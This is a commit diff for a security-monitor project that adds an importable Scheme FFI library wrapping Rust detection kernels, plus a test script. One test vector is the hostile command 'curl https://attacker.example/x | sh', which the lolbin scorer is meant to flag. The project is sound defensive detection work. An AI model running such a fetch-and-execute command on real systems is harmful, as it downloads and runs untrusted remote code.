Add importable (jsecmon kernels) bridge library
Jaime Fournier
94acf31c50c8c7521c8e07b806112a63c2d7ee92
--- a/Makefile +++ b/Makefile @@ -8,7 +8,7 @@ SCHEME ?= $(JERBOA)/.chez/bin/scheme BUILD ?= build/rust TYPED := $(wildcard typed/*.ss) -.PHONY: rust test ffi-demo clean +.PHONY: rust test ffi-demo kernels-check clean # Generate the Rust crate from the Typed Jerboa kernels, then drop in the # hand-written verification tests (the generator only writes src/ + Cargo.toml). @@ -29,5 +29,13 @@ ffi-demo: rust cd $(BUILD) && cargo build --release $(SCHEME) --libdirs $(JERBOA)/lib --script examples/ffi_bridge.ss +# Exercise the reusable bridge library `(jsecmon kernels)` end to end: build the +# cdylib, then re-check secmon parity vectors through the Jerboa wrappers. The +# repo root joins the libdir path so `(jsecmon kernels)` resolves to +# jsecmon/kernels.ss; combine into one --libdirs (a second one would replace it). +kernels-check: rust + cd $(BUILD) && cargo build --release + $(SCHEME) --libdirs "$(JERBOA)/lib:$(CURDIR)" --script examples/kernels_check.ss + clean: rm -rf $(BUILD) --- a/README.md +++ b/README.md @@ -19,9 +19,10 @@ build/rust/ Generated crate (gitignored; `make rust` regenerates) ## Build & verify ``` -make rust # typed/*.ss → build/rust (a cargo crate) -make test # regenerate, then cargo test against secmon's vectors -make ffi-demo # build the cdylib + drive the kernels from a Jerboa script +make rust # typed/*.ss → build/rust (a cargo crate) +make test # regenerate, then cargo test against secmon's vectors +make ffi-demo # build the cdylib + drive two kernels from a Jerboa script +make kernels-check # exercise the (jsecmon kernels) library against the vectors ``` ### The C ABI bridge @@ -34,6 +35,17 @@ that ABI via Chez's `foreign-procedure`. `examples/ffi_bridge.ss` proves the whole path — a Jerboa script `load-shared-object`s the dylib and calls the `constant-time-eq?` and `score-cmdline` kernels, asserting their results. +`jsecmon/kernels.ss` is the **reusable** form of that bridge: an importable +`(library (jsecmon kernels) …)` that loads the dylib once on import and exports +clean Jerboa wrappers for all 21 kernels (`lolbin-score-cmdline`, `hex-decode`, +`host-risk-score`, `dga-score-domain`, `bytes-contains?`, `phantom-rootkit-race?`, +…). It hides the C ABI entirely — including the out-param dance for Bytes/String +results (alloc two cells, call, copy the buffer, `jt_byte_buffer_free`, free the +cells). The untyped I/O layer just does `(import (jsecmon kernels))`. The repo +root must be on the libdir path so the import resolves to `jsecmon/kernels.ss`. +`examples/kernels_check.ss` re-checks the secmon parity vectors through these +wrappers (`make kernels-check`). + `make` needs a built jerboa checkout at `$JERBOA` (default `~/mine/jerboa`), whose `.chez/bin/scheme` and `support/typed-rust.ss` drive the backend. new file mode 100644 --- /dev/null +++ b/examples/kernels_check.ss @@ -0,0 +1,75 @@ +;;; Smoke test for the importable bridge library `(jsecmon kernels)`. +;;; +;;; Where ffi_bridge.ss wires up two kernels by hand, this proves the whole +;;; reusable wrapper module: `(import (jsecmon kernels))` and re-check a handful +;;; of secmon parity vectors *through the Jerboa wrappers* (not raw pointers). +;;; +;;; Run from the repo root, with the dylib built and the repo on the libdir path +;;; so `(jsecmon kernels)` resolves to jsecmon/kernels.ss: +;;; (cd build/rust && cargo build --release) +;;; scheme --libdirs $JERBOA/lib --libdirs . --script examples/kernels_check.ss + +(import (jerboa prelude) + (jsecmon kernels)) + +(def fails 0) +(def (check label got want) + (let ((ok (equal? got want))) + (unless ok (set! fails (+ fails 1))) + (displayln (if ok " ok " " FAIL ") label " => " got + (if ok "" (str " (want " want ")"))))) + +(displayln "lolbin:") +(check "score curl|sh" + (lolbin-score-cmdline "curl https://attacker.example/x | sh" "/usr/bin/bash") + 70) +(check "score benign curl" + (lolbin-score-cmdline "curl https://example.com -o page.html" "/usr/bin/curl") + 0) +(check "severity 120" (lolbin-severity 120) "critical") +(check "severity 75" (lolbin-severity 75) "high") +(check "severity 35" (lolbin-severity 35) "medium") +(check "severity 5" (lolbin-severity 5) "info") + +(displayln "psk:") +(check "ct-eq equal" (constant-time-eq? (string->utf8 "secret") (string->utf8 "secret")) #t) +(check "ct-eq differ" (constant-time-eq? (string->utf8 "secret") (string->utf8 "secreX")) #f) +(check "hex-encode" (hex-encode (bytevector 222 173 190 239)) "deadbeef") +(check "hex round-trip" (hex-encode (hex-decode "deadbeef")) "deadbeef") +(check "hex-string? y" (hex-string? "deadbeef") #t) +(check "hex-string? n" (hex-string? "nothex!!") #f) +(check "psk-hex-32? y" (psk-hex-32? (make-string 64 #\a)) #t) +(check "psk-hex-32? n" (psk-hex-32? "deadbeef") #f) + +(displayln "analytics:") +(check "host-risk host-b" (host-risk-score 0 1 0 1 1 0 0 0 0) 34) +(check "host-risk quiet" (host-risk-score 0 0 0 0 0 0 0 0 0) 0) +(check "host-risk satur" (host-risk-score 99 0 0 0 0 0 0 0 0) 100) + +(displayln "dga:") +(check "max-consonant kxqz" (dga-max-consonant-run "kxqz") 4) +(check "score-domain dga >=60" + (>= (dga-score-domain "kxq8z23nplkdq.example.com") 60) #t) +(check "score-domain google low" + (< (dga-score-domain "google.com") 30) #t) + +(displayln "strbytes:") +(check "bytes-contains?" (bytes-contains? (string->utf8 "hello world") (string->utf8 "lo w")) #t) +(check "bytes-prefix?" (bytes-prefix? (string->utf8 "hello") (string->utf8 "he")) #t) +(check "bytes-suffix?" (bytes-suffix? (string->utf8 "hello") (string->utf8 "lo")) #t) +(check "ascii-lower" (utf8->string (ascii-lower-bytes "HeLLo")) "hello") +(check "index-of-byte" (index-of-byte (string->utf8 "a.b") (char->integer #\.)) 1) +(check "first-label-len" (first-label-len (string->utf8 "abc.example.com")) 3) + +(displayln "triage:") +(check "transient unit" (transient-unit? "(transient)") #t) +(check "non-transient" (transient-unit? "sshd.service") #f) +(check "phantom race" + (phantom-rootkit-race? "ROOTKIT: Hidden process detected! comm=sshd [accepted]") #t) +(check "real rootkit" + (phantom-rootkit-race? "ROOTKIT: Hidden process detected! comm=evil") #f) + +(newline) +(if (= fails 0) + (displayln "OK: all kernel wrappers match secmon vectors.") + (begin (displayln fails " FAILURES") (exit 1))) new file mode 100644 --- /dev/null +++ b/jsecmon/kernels.ss @@ -0,0 +1,167 @@ +#!chezscheme +;;; jsecmon — the bridge from ordinary Jerboa to the Typed-Jerboa kernels. +;;; +;;; The typed/ modules compile to a Rust cdylib with a C ABI: each kernel is +;;; `jt_<module>_<fn>`, every Bytes/String argument is a pointer+length, and a +;;; Bytes/String *result* comes back through two out-params (a `*mut *mut u8` +;;; and a `*mut usize`) whose buffer the caller copies out and frees with +;;; `jt_byte_buffer_free`. This module wraps that calling convention once so +;;; the rest of the untyped layer (monitors, storage, server) just calls +;;; `(lolbin-score-cmdline …)` etc. and never touches a raw pointer. +;;; +;;; The dylib is loaded on import; set JSECMON_LIB to override the path +;;; (defaults to build/rust/target/release relative to the current directory). + +(library (jsecmon kernels) + (export ;; lolbin + lolbin-score-cmdline lolbin-severity + ;; psk crypto primitives + constant-time-eq? hex-encode hex-decode hex-string? psk-hex-32? + ;; analytics + host-risk-score + ;; dga + dga-max-consonant-run dga-shannon-entropy dga-score-label dga-score-domain + ;; strbytes toolkit + ascii-lower-bytes bytes-contains? bytes-prefix? bytes-suffix? + contains-word? index-of-byte first-label-len + ;; triage classifiers + transient-unit? phantom-rootkit-race?) + (import (except (chezscheme) + make-hash-table hash-table? + sort sort! + printf fprintf + path-extension path-absolute? + with-input-from-string with-output-to-string + iota 1+ 1- + partition + make-date make-time) + (except (jerboa prelude) meta atom?)) + + ;; ── dylib loading ──────────────────────────────────────────────────────── + (define (default-lib-path) + (let* ((base (string-append (current-directory) + "/build/rust/target/release/libjerboa_typed_generated")) + (dylib (string-append base ".dylib"))) + (if (file-exists? dylib) dylib (string-append base ".so")))) + + ;; Bind, rather than evaluate bare, so the load stays in definition context + ;; (a library body is all definitions then expressions) and runs before the + ;; foreign-procedure forms below resolve their entry points. + (define %lib (load-shared-object (or (getenv "JSECMON_LIB") (default-lib-path)))) + + ;; ── marshalling helpers ────────────────────────────────────────────────── + (define (truthy n) (not (= 0 n))) + (define u8->bytes string->utf8) ;; String arg → its UTF-8 bytes + + (define free-buffer + (foreign-procedure "jt_byte_buffer_free" (void* size_t) void)) + + ;; Run a kernel whose result is returned through the (out_ptr, out_len) + ;; convention. `fill` receives the two out-param cells, calls the foreign + ;; procedure with them appended, and returns its bool flag. We copy the + ;; produced buffer into a fresh bytevector, free the Rust allocation, and + ;; always release the two cells. + (define (call->bytes fill) + (let ((pp (foreign-alloc (foreign-sizeof 'void*))) + (pl (foreign-alloc (foreign-sizeof 'size_t)))) + (dynamic-wind + (lambda () #t) + (lambda () + (unless (truthy (fill pp pl)) + (error 'jsecmon-kernels "typed kernel reported failure")) + (let* ((data (foreign-ref 'void* pp 0)) + (len (foreign-ref 'size_t pl 0)) + (bv (make-bytevector len))) + (let loop ((i 0)) + (when (< i len) + (bytevector-u8-set! bv i (foreign-ref 'unsigned-8 data i)) + (loop (+ i 1)))) + (free-buffer data len) + bv)) + (lambda () (foreign-free pp) (foreign-free pl))))) + + ;; Bind a foreign procedure once. + (define-syntax fp + (syntax-rules () + ((_ name args ret) (foreign-procedure name args ret)))) + + ;; ── lolbin ──────────────────────────────────────────────────────────────── + (define %score-cmdline + (fp "jt_jsecmon_lolbin_score_cmdline" (u8* size_t u8* size_t) unsigned-64)) + (define (lolbin-score-cmdline cmd exe) + (let ((c (u8->bytes cmd)) (x (u8->bytes exe))) + (%score-cmdline c (bytevector-length c) x (bytevector-length x)))) + + (define %severity (fp "jt_jsecmon_lolbin_severity" (unsigned-64 void* void*) unsigned-8)) + (define (lolbin-severity total) + (utf8->string (call->bytes (lambda (pp pl) (%severity total pp pl))))) + + ;; ── psk ─────────────────────────────────────────────────────────────────-─ + (define %ct-eq + (fp "jt_jsecmon_typed_psk_constant_time_eq_p" (u8* size_t u8* size_t) unsigned-8)) + (define (constant-time-eq? a b) + (truthy (%ct-eq a (bytevector-length a) b (bytevector-length b)))) + + (define %hex-encode + (fp "jt_jsecmon_typed_psk_hex_encode" (u8* size_t void* void*) unsigned-8)) + (define (hex-encode data) + (utf8->string (call->bytes (lambda (pp pl) (%hex-encode data (bytevector-length data) pp pl))))) + + (define %hex-decode + (fp "jt_jsecmon_typed_psk_hex_decode" (u8* size_t void* void*) unsigned-8)) + (define (hex-decode s) + (let ((b (u8->bytes s))) + (call->bytes (lambda (pp pl) (%hex-decode b (bytevector-length b) pp pl))))) + + (define %hex-string? (fp "jt_jsecmon_typed_psk_hex_string_p" (u8* size_t) unsigned-8)) + (define (hex-string? s) (let ((b (u8->bytes s))) (truthy (%hex-string? b (bytevector-length b))))) + + (define %psk-hex-32? (fp "jt_jsecmon_typed_psk_psk_hex_32_p" (u8* size_t) unsigned-8)) + (define (psk-hex-32? s) (let ((b (u8->bytes s))) (truthy (%psk-hex-32? b (bytevector-length b))))) + + ;; ── analytics ───────────────────────────────────────────────────────────── + (define %host-risk + (fp "jt_jsecmon_analytics_host_risk_score" + (unsigned-64 unsigned-64 unsigned-64 unsigned-64 unsigned-64 + unsigned-64 unsigned-64 unsigned-64 unsigned-64) unsigned-64)) + (define (host-risk-score critical high medium distinct-rules chains + suspicious-cmdline dga rootkit-or-tamper persistence) + (%host-risk critical high medium distinct-rules chains + suspicious-cmdline dga rootkit-or-tamper persistence)) + + ;; ── dga ─────────────────────────────────────────────────────────────────── + (define (str->kernel-nat sym) + (let ((f (fp sym (u8* size_t) unsigned-64))) + (lambda (s) (let ((b (u8->bytes s))) (f b (bytevector-length b)))))) + (define dga-max-consonant-run (str->kernel-nat "jt_jsecmon_dga_max_consonant_run")) + (define dga-score-label (str->kernel-nat "jt_jsecmon_dga_score_label")) + (define dga-score-domain (str->kernel-nat "jt_jsecmon_dga_score_domain")) + + (define %shannon (fp "jt_jsecmon_dga_shannon_entropy" (u8* size_t) double)) + (define (dga-shannon-entropy s) (let ((b (u8->bytes s))) (%shannon b (bytevector-length b)))) + + ;; ── strbytes (operate on raw Bytes; lowercase yourself if needed) ────────── + (define %lower (fp "jt_jsecmon_strbytes_ascii_lower_bytes" (u8* size_t void* void*) unsigned-8)) + (define (ascii-lower-bytes s) + (let ((b (u8->bytes s))) + (call->bytes (lambda (pp pl) (%lower b (bytevector-length b) pp pl))))) + + (define (bytes-pred sym) + (let ((f (fp sym (u8* size_t u8* size_t) unsigned-8))) + (lambda (hay need) (truthy (f hay (bytevector-length hay) need (bytevector-length need)))))) + (define bytes-contains? (bytes-pred "jt_jsecmon_strbytes_bytes_contains_p")) + (define bytes-prefix? (bytes-pred "jt_jsecmon_strbytes_bytes_prefix_p")) + (define bytes-suffix? (bytes-pred "jt_jsecmon_strbytes_bytes_suffix_p")) + (define contains-word? (bytes-pred "jt_jsecmon_strbytes_contains_word_p")) + + (define %index-of (fp "jt_jsecmon_strbytes_index_of_byte" (u8* size_t unsigned-64) unsigned-64)) + (define (index-of-byte bv v) (%index-of bv (bytevector-length bv) v)) + (define %first-label (fp "jt_jsecmon_strbytes_first_label_len" (u8* size_t) unsigned-64)) + (define (first-label-len bv) (%first-label bv (bytevector-length bv))) + + ;; ── triage ──────────────────────────────────────────────────────────────-─ + (define (str-pred sym) + (let ((f (fp sym (u8* size_t) unsigned-8))) + (lambda (s) (let ((b (u8->bytes s))) (truthy (f b (bytevector-length b))))))) + (define transient-unit? (str-pred "jt_jsecmon_triage_transient_unit_p")) + (define phantom-rootkit-race? (str-pred "jt_jsecmon_triage_phantom_rootkit_race_p")))